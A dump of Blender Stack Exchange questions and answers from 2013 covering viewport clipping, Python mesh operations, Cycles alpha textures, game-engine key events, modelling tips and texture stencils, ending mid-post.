  <row Id="4946" PostTypeId="1" AcceptedAnswerId="4947" CreationDate="2013-11-17T22:00:03.067" Score="55" ViewCount="125860" Body="&lt;p&gt;Zooming in to inspect texture details in 3D view clips some closer faces like shown in the image. It's not the camera view so changing camera settings doesn't help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can the distance to the clipping plane be adjusted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ikzxq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-11-17T23:02:10.933" LastActivityDate="2021-04-06T09:27:41.960" Title="Where can the viewport clipping parameters be changed?" Tags="&lt;3d-view&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="4947" PostTypeId="2" ParentId="4946" CreationDate="2013-11-17T22:05:13.327" Score="78" Body="&lt;p&gt;It's in the 3D View area's &lt;strong&gt;Properties&lt;/strong&gt; &lt;kbd&gt;N&lt;/kbd&gt; menu &amp;gt; &lt;strong&gt;View&lt;/strong&gt; tab:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uSU6k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSU6k.png&quot; alt=&quot;Blender 2.8 screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It doesn't affect &lt;em&gt;Orthographic&lt;/em&gt; view, where there's no view distance.&lt;/p&gt;&#xA;&lt;p&gt;How to set the the view port clip parameters per Python script is described in &lt;a href=&quot;https://blender.stackexchange.com/a/38613/2169&quot;&gt;an answer to the question &amp;quot;Setting camera clip end via Python&amp;quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Older Blender 2.7:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KjQnd.png&quot; alt=&quot;1a&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="78972" LastEditDate="2021-04-06T09:27:41.960" LastActivityDate="2021-04-06T09:27:41.960" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="4948" PostTypeId="1" AcceptedAnswerId="4949" CreationDate="2013-11-17T23:15:28.350" Score="3" ViewCount="1631" Body="&lt;p&gt;I was wondering if it is possible to activate the 'Split' tool in python. I'd like to make a script that loops through the selected objects polygons and splits them, creating an object with all its faces separated from each other. Is this possible? If not, is there a work-around? If none of this is possible, then could one make a script where it selects a face of an object, and selects the next face when the user presses the &lt;kbd&gt;Y&lt;/kbd&gt; key (the hotkey for 'Split')? Thanks for any help in advance.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="599" LastEditDate="2013-11-17T23:53:48.997" LastActivityDate="2013-11-18T06:59:30.987" Title="Is it possible to use the 'Split' tool in Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4949" PostTypeId="2" ParentId="4948" CreationDate="2013-11-17T23:50:14.023" Score="3" Body="&lt;p&gt;This can be done using the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bmesh.html?highlight=bmesh#bmesh&quot; rel=&quot;nofollow&quot;&gt;bmesh api&lt;/a&gt;.&lt;br&gt;&#xA;The operator you are looking for is &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bmesh.ops.html?highlight=split#bmesh.ops.split&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bmesh.ops.split&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the functionality you want to create is already in blender, with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&gt; Edge split&lt;/em&gt;, or &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.mesh.html?highlight=edge_split#bpy.ops.mesh.edge_split&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.mesh.edge_split&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you could also create and apply an &lt;em&gt;Edge split&lt;/em&gt; modifier, however it's probably easier to use the &lt;code&gt;edge_split&lt;/code&gt; operator.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for selecting the &quot;next face&quot;, you can select a face by setting its &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.MeshPolygon.html#bpy.types.MeshPolygon.select&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;select&lt;/code&gt;&lt;/a&gt; value to &lt;code&gt;True&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.context.html?highlight=bpy.context.object#bpy.context.object&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.context.object&lt;/code&gt;&lt;/a&gt; &gt; &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Object.html?#bpy.types.Object.data&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;data&lt;/code&gt;&lt;/a&gt; &gt; &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Mesh.html#bpy.types.Mesh.polygons&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;polygons&lt;/code&gt;&lt;/a&gt; &gt; &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.MeshPolygon.html#bpy.types.MeshPolygon.select&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;select&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;code&gt;bpy.context.object.data.polygons[0].select = True&lt;/code&gt; will select the face with an index of &lt;code&gt;0&lt;/code&gt; in the active object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Mesh.html#mesh-data&quot; rel=&quot;nofollow&quot;&gt;have to be in object mode for this to work&lt;/a&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The mesh data is accessed in object mode and intended for compact storage, for more flexible mesh editing from python see &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bmesh.html#module-bmesh&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bmesh&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can set the mode with the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.object.html?highlight=mode#bpy.ops.object.mode_set&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;mode_set&lt;/code&gt;&lt;/a&gt; operator, e.g. &lt;code&gt;bpy.ops.object.mode_set(mode='OBJECT')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you define the &quot;next face&quot; is up to you, as AFAIK there is no absolute definition of which face should be the &quot;next&quot; one.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-18T06:59:30.987" LastActivityDate="2013-11-18T06:59:30.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4952" PostTypeId="1" CreationDate="2013-11-15T15:53:15.090" Score="2" ViewCount="5331" Body="&lt;p&gt;I'm trying to set a nice material for the leaves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V7wfR.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the problem (just 10 samples):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Df6cG.jpg&quot; alt=&quot;&quot;&gt;&#xA;Leaves are simply planes generated by sapling plugin, and the texture is a leaf with alpha channel.&#xA;On top you can see green dots around the invisible plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.69&lt;/p&gt;&#xA;" OwnerDisplayName="user2993622" LastEditorUserId="238" LastEditDate="2013-11-18T11:29:45.317" LastActivityDate="2013-11-18T11:29:45.317" Title="Blender cycles with alpha texture and glass shader" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4953" PostTypeId="1" CreationDate="2013-11-18T07:27:26.407" Score="3" ViewCount="1131" Body="&lt;p&gt;I want to launch &lt;code&gt;vlc.exe&lt;/code&gt; when I hit spacebar in the BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this script and it does the job:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess  &#xA;subprocess.call(['VLC\VLC.exe'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem now, is that the script is invoked twice. It launches vlc and when I close the vlc instance, it launches it one more time. (I tried also with Tap option in the sensor)&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="12" LastEditDate="2013-11-20T22:12:14.517" LastActivityDate="2014-08-25T19:44:15.690" Title="Problem with script being invoked twice in BGE" Tags="&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4954" PostTypeId="2" ParentId="4952" CreationDate="2013-11-18T07:31:07.393" Score="4" Body="&lt;p&gt;It appears that this is caused by the alpha mask not being completely transparent, which results in the &lt;em&gt;Alpha&lt;/em&gt; channel being a mix of white and dark grey instead of black. This will result in a mix of a lot of transparent shader and a tiny amount of glass/diffuse, giving the green haze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quick workaround you can add a &lt;em&gt;Math&lt;/em&gt; node set to &lt;code&gt;.5&lt;/code&gt; with &lt;em&gt;Greater than&lt;/em&gt; as the operation.&lt;br&gt;&#xA;This sets all pixels above &lt;code&gt;.5&lt;/code&gt; (gray) to &lt;code&gt;1&lt;/code&gt; (white) and all those below &lt;code&gt;.5&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; (black).&#xA;Add this to the alpha channel before the mix node (click for full size):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GAaDy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GAaDy.png&quot; alt=&quot;node setup image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the math node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DcVhE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the math node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HrEjD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-18T09:13:52.703" LastActivityDate="2013-11-18T09:13:52.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4955" PostTypeId="1" AcceptedAnswerId="4959" CreationDate="2013-11-18T10:47:46.297" Score="6" ViewCount="2529" Body="&lt;p&gt;I'm quite new to Blender but planning to use it for 3D printing, so I'm looking for a solution which will actually modify the geometry. I have created a couple of aircraft. I need to detail them with some panel lines but I don't know how to easily make an indented straight line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;existing model - &lt;a href=&quot;https://www.shapeways.com/model/1051048/d21-drone.html?li=my-models&amp;amp;materialId=6&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.shapeways.com/model/1051048/d21-drone.html?li=my-models&amp;amp;materialId=6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p5AYF.png&quot; alt=&quot;panel lines position&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1634" LastEditorUserId="12" LastEditDate="2013-11-18T12:13:48.520" LastActivityDate="2014-04-18T14:03:01.670" Title="Making indented panel lines for 3d printing" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4956" PostTypeId="1" CreationDate="2013-11-18T10:49:28.993" Score="18" ViewCount="16471" Body="&lt;p&gt;I've started trying to make a 3D model that I will end up exporting to an augmented reality app but I've hit a problem in terms of the particle system. The app wants the 3D file in .dae(collada) format which blender allows, but it doesn't seem to export particle systems. I've read that blender doesn't support exporting particle systems at all so I'm now focused on converting the particle system to lots of meshes which will (hopefully)animate using key frames. Then I can export all the meshes and the particles will 'work'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm just using a standard particle system emitting small icospheres. I've tried a few different techniques, such as 'make duplicates real' and using a particle instance instead but they don't seem to animate. Instead it just freezes the current frame into an object(which exports fine but is not what I want). I've also tried recording the animation in the blender game engine but particle systems don't work with it so that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated! Thanks&lt;/p&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="1635" LastEditDate="2013-11-18T11:39:59.550" LastActivityDate="2021-01-06T22:27:39.810" Title="Convert particle system to animated meshes" Tags="&lt;animation&gt;&lt;export&gt;&lt;particles&gt;&lt;collada&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4957" PostTypeId="1" AcceptedAnswerId="4962" CreationDate="2013-11-18T10:54:51.083" Score="9" ViewCount="6010" Body="&lt;p&gt;I am trying to use texture stencil, but sometimes the stencil stamp of texture that I want to paint doesn't appear, and I can not find it. Perhaps the position of stencil stamp is elsewhere. How can I reset the position to see it again? I am using Blender 2.69.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B_-LXTRL7Tj2Y1NFMHQ2M2N5amc/edit?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;Blender file&lt;/a&gt; (go to left upper window in blender: texture draw).&lt;/p&gt;&#xA;" OwnerUserId="1623" LastEditorUserId="12" LastEditDate="2013-11-20T23:53:22.730" LastActivityDate="2020-08-30T19:58:42.187" Title="Stencil Stamp not showing up" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4958" PostTypeId="2" ParentId="4953" CreationDate="2013-11-18T11:52:30.200" Score="4" Body="&lt;p&gt;This happens because there are two events for key down and key up. To choose one of them replace the print statement with your code to invoke and delete the other unneeded lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script to test the behavior:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;sensor = cont.sensors['Space'] # Assumes that keyboard sensor is named as 'Space'&#xA;if sensor.getKeyStatus(bge.events.SPACEKEY) == bge.logic.KX_INPUT_JUST_ACTIVATED:&#xA;    print(&quot;sensor down&quot;)&#xA;if bge.logic.keyboard.events[bge.events.SPACEKEY] ==bge.logic.KX_INPUT_JUST_ACTIVATED:&#xA;    print(&quot;Down&quot;)&#xA;if sensor.getKeyStatus(bge.events.SPACEKEY) == bge.logic.KX_INPUT_JUST_RELEASED:&#xA;    print(&quot;Up&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One event picked&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import subprocess&#xA;&#xA;if bge.logic.keyboard.events[bge.events.SPACEKEY] ==bge.logic.KX_INPUT_JUST_ACTIVATED:&#xA;    subprocess.call(['C:\\path\\app.exe'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-11-18T22:10:55.760" LastActivityDate="2013-11-18T22:10:55.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4959" PostTypeId="2" ParentId="4955" CreationDate="2013-11-18T12:12:12.637" Score="8" Body="&lt;p&gt;The tools you are asking about are quite simple, you can make loop cuts with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;. Roll your mousewheel to create multiple cuts and use left click to confirm/right click to cancel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NRp6W.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since Blender can handle ngons, if your shape is a flat hard surface, feel free to cut it. Activate the &lt;em&gt;Knife&lt;/em&gt; took with &lt;kbd&gt;K&lt;/kbd&gt;, click an edge as a starting point and then click another edge as the end point, when satisfied. Press &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OMmP5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You might also be interested in the &lt;em&gt;Inset&lt;/em&gt; tool. This can be useful for giving your faces a bit of distance from the sharp edges so any further modifications don't look odd or modify parts of the mesh you don't want. Press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; while selecting multiple edge loops or faces and use your mouse to adjust the inset level.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t5SpU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;Extrude&lt;/em&gt; tool is what you will use to create the indentations. Just select the face(s) and press &lt;kbd&gt;E&lt;/kbd&gt;, you can use your mouse to adjust how far the extrusion goes in/out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zdOcs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And all of those combined on a simple box model, produces this. Tri's aren't so bad when working with hard surface models but they make editing a pain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jogZx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Decent topology is a must when doing &lt;em&gt;3D printing&lt;/em&gt;. See, &lt;a href=&quot;https://blender.stackexchange.com/q/253/12&quot;&gt;What exports does blender have for 3d printers?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-18T14:03:01.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4961" PostTypeId="2" ParentId="4879" CreationDate="2013-11-18T13:56:46.743" Score="0" Body="&lt;p&gt;I've solved it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what went wrong is still a mystery, but I want to thank you all.&lt;br&gt;&#xA;Copying the original vertices is what went wrong. The solution was to delete the old one and set the new one to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A really dirty fix. but it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the reason that the suggestions couldn't be it:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Solution gandalf3: materials were also at other objects. but those where visible&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Solution CharlesL: couldn't be it because the problem looked different&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Solution sambler: there where no bump nodes used. Only standard shaders. (mix shader/diffused/glossy/transparent(not where the problem occurred)/glass)&#xA;also this is not one material, its a combination. Besides that, when you move your view a part of the face is still seen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Solution Adhi: can't be that because there where objects in front of the problem object and behind the problem object. Those rendered just fine. and there is no compositing used, just 1 image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But still allot of respect for you're effort. This is my first experience of posting a problem online and it was a very positive experience. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get the images or the video online, but can't promise it.&lt;br&gt;&#xA;This is what happens if you turn the camera view in 3D:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this model the situation is: the blue stays visible no matter what view, the rest is cut.&lt;br&gt;&#xA;Color is delimited by material.  blue could be the same material as red grey or yellow. It is only 1 object. This could be in a environment the rest won't be affected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdkTD.png&quot; alt=&quot;first angle of the simulation object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9xTY.png&quot; alt=&quot;second angle of the simulation object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version 2.69 was a RC version, but the problem occurred before I used this one.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="599" LastEditDate="2013-11-18T20:46:36.730" LastActivityDate="2013-11-18T20:46:36.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4962" PostTypeId="2" ParentId="4957" CreationDate="2013-11-18T14:41:37.887" Score="13" Body="&lt;p&gt;Two steps would help to solve what happened in your case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the Alpha percentage of Overlay to some non-zero-percent value;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;strong&gt;Reset Transform&lt;/strong&gt; button right behind the texture selector.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XIXwS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, your texture stencil is on the upperleft corner of the 3D Viewport, which can be seen if you maximize the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortcut tips when working with texture stencil and texture mask stencil:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;For Texture Stencil:&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;: Stencil translation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;: Stencil rotation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;: Stencil scale (Allow constraining on X/Y axis)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;For Texture Mask Stencil:&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;: Stencil translation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;: Stencil rotation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;: Stencil scale (Allow constraining on X/Y axis)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-18T15:05:06.567" LastActivityDate="2013-11-18T15:05:06.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4963" PostTypeId="1" AcceptedAnswerId="4967" CreationDate="2013-11-18T17:58:24.950" Score="5" ViewCount="1796" Body="&lt;p&gt;I have a linux vps that has some spare resources left from main activity. I can not get the GUI working, but I was thinking if there is a way to use it for baking with python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that there is an operator: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.ptcache.bake(bake=True) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what is the right context for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if anyone has ideas to get the GUI working under Ubuntu VPS, that would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1636" LastEditorUserId="599" LastEditDate="2013-11-18T20:31:31.967" LastActivityDate="2016-10-21T22:42:32.460" Title="Baking smoke on headless machine" Tags="&lt;python&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4964" PostTypeId="1" CreationDate="2013-11-18T18:35:00.147" Score="14" ViewCount="1482" Body="&lt;p&gt;I wish to use Blender to model a level for a 3D game.&#xA;The level is a set of Meshes.&#xA;I have to set special (additional) properties per face (triangle).&#xA;These properties are &lt;em&gt;integer number&lt;/em&gt; (TAG1), &lt;em&gt;vector&lt;/em&gt; (TAG2), and &lt;em&gt;color&lt;/em&gt; (TAG3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would select a set of faces and set TAG1 to be &lt;code&gt;7&lt;/code&gt; and TAG2 to be &lt;code&gt;(1.0, 0.0, 0.0)&lt;/code&gt; and TAG3 to be &lt;code&gt;Red&lt;/code&gt; for these faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I would like to be able to export that model in some format like Collada or OBJ.&#xA;I use ASSIMP to convert model in my game internal format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe OBJ does not support extra properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like a very common task for game development, but I can't find any simple solution that does not require creating my own 3D editing tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can consider using other 3D modelling tools if any have such functionality. &lt;/p&gt;&#xA;" OwnerUserId="1637" LastEditorUserId="1253" LastEditDate="2014-06-12T08:29:59.490" LastActivityDate="2017-04-24T19:56:48.070" Title="Setting additional properties per face" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4965" PostTypeId="1" CreationDate="2013-11-18T20:48:50.510" Score="18" ViewCount="20151" Body="&lt;p&gt;Is there a way to rotate the axes themselves? I want to rotate the global coordinate system, basically redefining the x and y axes 45 degrees from their original position.&lt;/p&gt;&#xA;" OwnerUserId="1638" LastEditorUserId="599" LastEditDate="2015-06-30T17:18:29.340" LastActivityDate="2015-09-06T17:02:06.277" Title="Is there a way to rotate the axes themselves?" Tags="&lt;transforms&gt;&lt;coordinates&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4966" PostTypeId="2" ParentId="4965" CreationDate="2013-11-18T20:55:11.977" Score="7" Body="&lt;p&gt;Yes, if one fits your needs you can use a different transform orientation. If not, you can &lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/transform_control/transform_orientations.html#custom-orientations&quot; rel=&quot;nofollow noreferrer&quot;&gt;create a custom one&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Other &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations&quot; rel=&quot;nofollow noreferrer&quot;&gt;transform orientation systems&lt;/a&gt; can be selected in &lt;em&gt;3D view &amp;gt; Header &amp;gt; Transform orientation&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cdpi8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that to transform a selection along the orientation set in &lt;em&gt;3D view &amp;gt; Header&lt;/em&gt;, you need to press the axis key twice, e.g. &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;. Otherwise &lt;em&gt;Global&lt;/em&gt; coordinates will be used)&lt;/p&gt;&#xA;&lt;h1&gt;View&lt;/h1&gt;&#xA;&lt;p&gt;The orientation for the &lt;em&gt;View&lt;/em&gt; setting is controlled by the angle of the view. See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#View&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The manipulator will match the 3D view, Y → Up/Down, X → Left/Right, Z → Towards/Away from you.&lt;/p&gt;&#xA;&lt;p&gt;This way you can constrain movement to one View axis with 